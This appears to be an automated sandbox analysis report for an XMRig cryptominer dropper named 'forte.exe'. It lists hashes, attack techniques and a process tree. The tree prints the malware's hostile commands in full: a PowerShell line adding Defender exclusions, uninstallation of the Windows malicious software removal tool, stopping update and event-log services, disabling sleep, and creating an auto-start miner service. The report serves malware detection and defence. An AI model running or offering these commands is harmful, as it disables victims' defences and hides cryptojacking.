xmrig | a99e1e71178ae8e923a9f0ca8eb831403f46ffb55dc03ac6a05d542b70a41ade

Analysis

user interaction
yes
max time kernel
300s
max time network
290s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/10/2026, 21:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
forte.exe
Size 13.8MB
Sample261002-zzyfvavx5q
SHA256 a99e1e71178ae8e923a9f0ca8eb831403f46ffb55dc03ac6a05d542b70a41ade
MD5 403b1c77600c473cb301beb341b83d7f
SHA1 68715f013468a66eb19a5f1c527a465c682800b5
SHA512 fd21adb79971bb7a4346a377184e6ac34f535fb841ada7df6ee503e40d382d1d790e76eeaa4243b776678d78de890bc46f08c63733a4c5589032a55648b6b3e5
SSDEEP 393216:NEU2ztNKXoL2r7IYMEN87Nizz5ckrdyZm9wrT:52zGXoW7IgI+5rIRT
TLSH
T198E6226BE476CC346AC7DA97153940F13C2B2CB88CFD690599FA3591F8892242C7BE71
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner persistence privilege_escalation upx

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 5704 created 740	5704	powershell.EXE	5
PID 4188 created 740	4188	powershell.EXE	5

XMRig Miner payload 27 IoCs

miner

resource	yara_rule
behavioral2/memory/4548-93-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-92-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-95-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-97-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-99-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-101-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-103-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-105-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-107-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-109-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-111-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-113-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-115-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-117-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-119-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-121-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-123-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-125-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-127-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-129-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-131-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-133-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-135-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-137-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-139-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-141-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig
behavioral2/memory/4548-143-0x00007FF66F850000-0x00007FF670085000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5704	powershell.EXE
4188	powershell.EXE
4044	powershell.exe
5148	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
5752	injektion.exe
5972	Adobe After Effects 2023.exe
3044	ywkzpvlakbmn.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Enumerates connected drives 3 TTPs 5 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.EXE
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.EXE
\??\F:\	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1760	powercfg.exe
5552	powercfg.exe
3284	powercfg.exe
5688	powercfg.exe
3420	powercfg.exe
1188	powercfg.exe
2900	powercfg.exe
4616	powercfg.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	ywkzpvlakbmn.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\MRT.exe	injektion.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 5752 set thread context of 5356	5752	injektion.exe	117
PID 3044 set thread context of 1204	3044	ywkzpvlakbmn.exe	151
PID 3044 set thread context of 3764	3044	ywkzpvlakbmn.exe	153
PID 3044 set thread context of 4548	3044	ywkzpvlakbmn.exe	154
PID 5704 set thread context of 4832	5704	powershell.EXE	157
PID 4188 set thread context of 3312	4188	powershell.EXE	159

UPX packed file 28 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4548-68-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-93-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-92-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-95-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-97-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-99-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-101-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-103-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-105-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-107-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-109-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-111-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-113-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-115-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-117-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-119-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-121-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-123-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-125-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-127-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-129-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-131-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-133-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-135-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-137-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-139-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-141-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx
behavioral2/memory/4548-143-0x00007FF66F850000-0x00007FF670085000-memory.dmp	upx

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_jrwmv1s0.0j5.ps1	powershell.EXE
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_vhublx1f.msq.psm1	powershell.EXE
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_t5xkwkbp.2j2.ps1	powershell.EXE
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_oisxpluw.xxl.psm1	powershell.EXE
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_l2scowmr.ydq.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_an4p0bgl.pc2.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_crawqvcl.o51.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_4fyw5sge.u3c.psm1	powershell.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4484	sc.exe
3524	sc.exe
5064	sc.exe
3288	sc.exe
3664	sc.exe
5500	sc.exe
3012	sc.exe
5160	sc.exe
5332	sc.exe
5008	sc.exe
4068	sc.exe
1796	sc.exe
1540	sc.exe
4048	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1748	cmd.exe
3016	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forte.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2020	powershell.exe
2020	powershell.exe
5752	injektion.exe
4044	powershell.exe
4044	powershell.exe
5752	injektion.exe
5752	injektion.exe
5752	injektion.exe
5752	injektion.exe
5752	injektion.exe
5752	injektion.exe
5752	injektion.exe
5752	injektion.exe
5752	injektion.exe
5752	injektion.exe
5752	injektion.exe
5752	injektion.exe
5752	injektion.exe
5752	injektion.exe
5752	injektion.exe
3044	ywkzpvlakbmn.exe
5704	powershell.EXE
5704	powershell.EXE
5148	powershell.exe
5148	powershell.exe
5148	powershell.exe
5704	powershell.EXE
3044	ywkzpvlakbmn.exe
3044	ywkzpvlakbmn.exe
3044	ywkzpvlakbmn.exe
3044	ywkzpvlakbmn.exe
3044	ywkzpvlakbmn.exe
3044	ywkzpvlakbmn.exe
3044	ywkzpvlakbmn.exe
3044	ywkzpvlakbmn.exe
3044	ywkzpvlakbmn.exe
3044	ywkzpvlakbmn.exe
3044	ywkzpvlakbmn.exe
3044	ywkzpvlakbmn.exe
3044	ywkzpvlakbmn.exe
4188	powershell.EXE
4188	powershell.EXE
4188	powershell.EXE
5704	powershell.EXE
4548	dialer.exe
4548	dialer.exe
4548	dialer.exe
4548	dialer.exe
4548	dialer.exe
4548	dialer.exe
4548	dialer.exe
4548	dialer.exe
4548	dialer.exe
4548	dialer.exe
4188	powershell.EXE
4548	dialer.exe
4548	dialer.exe
4548	dialer.exe
4548	dialer.exe
4548	dialer.exe
4548	dialer.exe
4548	dialer.exe
4548	dialer.exe
4548	dialer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeIncreaseQuotaPrivilege	2020	powershell.exe
Token: SeSecurityPrivilege	2020	powershell.exe
Token: SeTakeOwnershipPrivilege	2020	powershell.exe
Token: SeLoadDriverPrivilege	2020	powershell.exe
Token: SeSystemProfilePrivilege	2020	powershell.exe
Token: SeSystemtimePrivilege	2020	powershell.exe
Token: SeProfSingleProcessPrivilege	2020	powershell.exe
Token: SeIncBasePriorityPrivilege	2020	powershell.exe
Token: SeCreatePagefilePrivilege	2020	powershell.exe
Token: SeBackupPrivilege	2020	powershell.exe
Token: SeRestorePrivilege	2020	powershell.exe
Token: SeShutdownPrivilege	2020	powershell.exe
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeSystemEnvironmentPrivilege	2020	powershell.exe
Token: SeRemoteShutdownPrivilege	2020	powershell.exe
Token: SeUndockPrivilege	2020	powershell.exe
Token: SeManageVolumePrivilege	2020	powershell.exe
Token: 33	2020	powershell.exe
Token: 34	2020	powershell.exe
Token: 35	2020	powershell.exe
Token: 36	2020	powershell.exe
Token: SeDebugPrivilege	4044	powershell.exe
Token: SeIncreaseQuotaPrivilege	4044	powershell.exe
Token: SeSecurityPrivilege	4044	powershell.exe
Token: SeTakeOwnershipPrivilege	4044	powershell.exe
Token: SeLoadDriverPrivilege	4044	powershell.exe
Token: SeSystemProfilePrivilege	4044	powershell.exe
Token: SeSystemtimePrivilege	4044	powershell.exe
Token: SeProfSingleProcessPrivilege	4044	powershell.exe
Token: SeIncBasePriorityPrivilege	4044	powershell.exe
Token: SeCreatePagefilePrivilege	4044	powershell.exe
Token: SeBackupPrivilege	4044	powershell.exe
Token: SeRestorePrivilege	4044	powershell.exe
Token: SeShutdownPrivilege	4044	powershell.exe
Token: SeDebugPrivilege	4044	powershell.exe
Token: SeSystemEnvironmentPrivilege	4044	powershell.exe
Token: SeRemoteShutdownPrivilege	4044	powershell.exe
Token: SeUndockPrivilege	4044	powershell.exe
Token: SeManageVolumePrivilege	4044	powershell.exe
Token: 33	4044	powershell.exe
Token: 34	4044	powershell.exe
Token: 35	4044	powershell.exe
Token: 36	4044	powershell.exe
Token: SeShutdownPrivilege	5688	powercfg.exe
Token: SeCreatePagefilePrivilege	5688	powercfg.exe
Token: SeShutdownPrivilege	5552	powercfg.exe
Token: SeCreatePagefilePrivilege	5552	powercfg.exe
Token: SeShutdownPrivilege	3284	powercfg.exe
Token: SeCreatePagefilePrivilege	3284	powercfg.exe
Token: SeDebugPrivilege	5752	injektion.exe
Token: SeShutdownPrivilege	3420	powercfg.exe
Token: SeCreatePagefilePrivilege	3420	powercfg.exe
Token: SeDebugPrivilege	5704	powershell.EXE
Token: SeDebugPrivilege	5148	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	5148	powershell.exe
Token: SeIncreaseQuotaPrivilege	5148	powershell.exe
Token: SeSecurityPrivilege	5148	powershell.exe
Token: SeTakeOwnershipPrivilege	5148	powershell.exe
Token: SeLoadDriverPrivilege	5148	powershell.exe
Token: SeSystemtimePrivilege	5148	powershell.exe
Token: SeBackupPrivilege	5148	powershell.exe
Token: SeRestorePrivilege	5148	powershell.exe
Token: SeShutdownPrivilege	5148	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4896 wrote to memory of 2020	4896	forte.exe	89
PID 4896 wrote to memory of 5752	4896	forte.exe	91
PID 4896 wrote to memory of 5972	4896	forte.exe	92
PID 1748 wrote to memory of 576	1748	cmd.exe	101
PID 3016 wrote to memory of 3508	3016	cmd.exe	135
PID 5704 wrote to memory of 4832	5704	powershell.EXE	157
PID 5704 wrote to memory of 4832	5704	powershell.EXE	157
PID 5704 wrote to memory of 4832	5704	powershell.EXE	157
PID 5704 wrote to memory of 4832	5704	powershell.EXE	157
PID 5704 wrote to memory of 4832	5704	powershell.EXE	157
PID 4188 wrote to memory of 3312	4188	powershell.EXE	159
PID 4188 wrote to memory of 3312	4188	powershell.EXE	159
PID 4188 wrote to memory of 3312	4188	powershell.EXE	159
PID 4188 wrote to memory of 3312	4188	powershell.EXE	159
PID 4188 wrote to memory of 3312	4188	powershell.EXE	159

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:740
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{70086f03-1013-4bc7-b35f-af31bb7a963f}
  2⤵
  PID:4832
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{86fe95e9-9716-415a-8fac-643c54da575e}
  2⤵
  PID:3312

C:\Users\Admin\AppData\Local\Temp\forte.exe
"C:\Users\Admin\AppData\Local\Temp\forte.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4896
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdwBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAcAB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGEAdwBnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAZABjACMAPgA="
  2⤵
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2020
- C:\Users\Admin\AppData\Roaming\injektion.exe
  "C:\Users\Admin\AppData\Roaming\injektion.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5752
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1748
  - - C:\Windows\System32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:576
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3664
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:5500
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3012
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:1540
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:5160
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:5552
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3284
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3420
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:5688
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:5356
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "OOWPXDZS"
    3⤵
    - Launches sc.exe
    PID:4048
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "OOWPXDZS" binpath= "C:\ProgramData\rrnskuerkioa\ywkzpvlakbmn.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:5332
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:4484
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "OOWPXDZS"
    3⤵
    - Launches sc.exe
    PID:5008
- C:\Users\Admin\AppData\Roaming\Adobe After Effects 2023.exe
  "C:\Users\Admin\AppData\Roaming\Adobe After Effects 2023.exe"
  2⤵
  - Executes dropped EXE
  PID:5972

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
